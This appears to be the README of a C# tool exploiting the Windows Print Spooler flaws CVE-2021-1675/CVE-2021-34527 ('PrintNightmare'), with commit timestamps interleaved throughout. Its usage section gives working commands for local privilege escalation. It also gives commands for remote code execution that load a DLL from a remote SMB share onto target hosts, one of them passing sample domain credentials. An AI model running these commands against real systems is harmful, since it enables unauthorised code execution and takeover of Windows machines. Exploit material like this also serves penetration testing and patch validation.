2021-07-03 11:53:46 +00:00
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# C# Implementation of CVE-2021-1675 / CVE-2021-34527
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2021-07-01 11:45:37 +00:00
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### Usage
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2021-07-03 11:53:46 +00:00
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The RCE functionality might need to be executed with local administrator privileges on YOUR machine.
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2021-07-01 11:45:37 +00:00
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```
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2021-07-01 21:30:25 +00:00
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#LPE
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2021-07-01 11:45:37 +00:00
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C:\SharpPrintNightmare.exe C:\addCube.dll
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2021-07-01 21:30:25 +00:00
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#RCE using existing context
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SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_addb31f9bff9e936\Amd64\UNIDRV.DLL' '\\192.168.1.20'
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#RCE using runas /netonly
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SharpPrintNightmare.exe '\\192.168.1.215\smb\addCube.dll' 'C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL' '\\192.168.1.10' hackit.local domain_user Pass123
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2021-07-01 11:45:37 +00:00
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```
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2021-07-01 21:30:25 +00:00
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2021-07-01 11:45:37 +00:00
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2021-07-02 00:13:30 +00:00
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2021-07-02 00:17:44 +00:00
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### Acknowledgements
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For contributing new ideas or exploit improvements, thanks to
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2021-07-02 00:13:30 +00:00
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* [kiqrx](https://www.hackthebox.eu/home/users/profile/72916)
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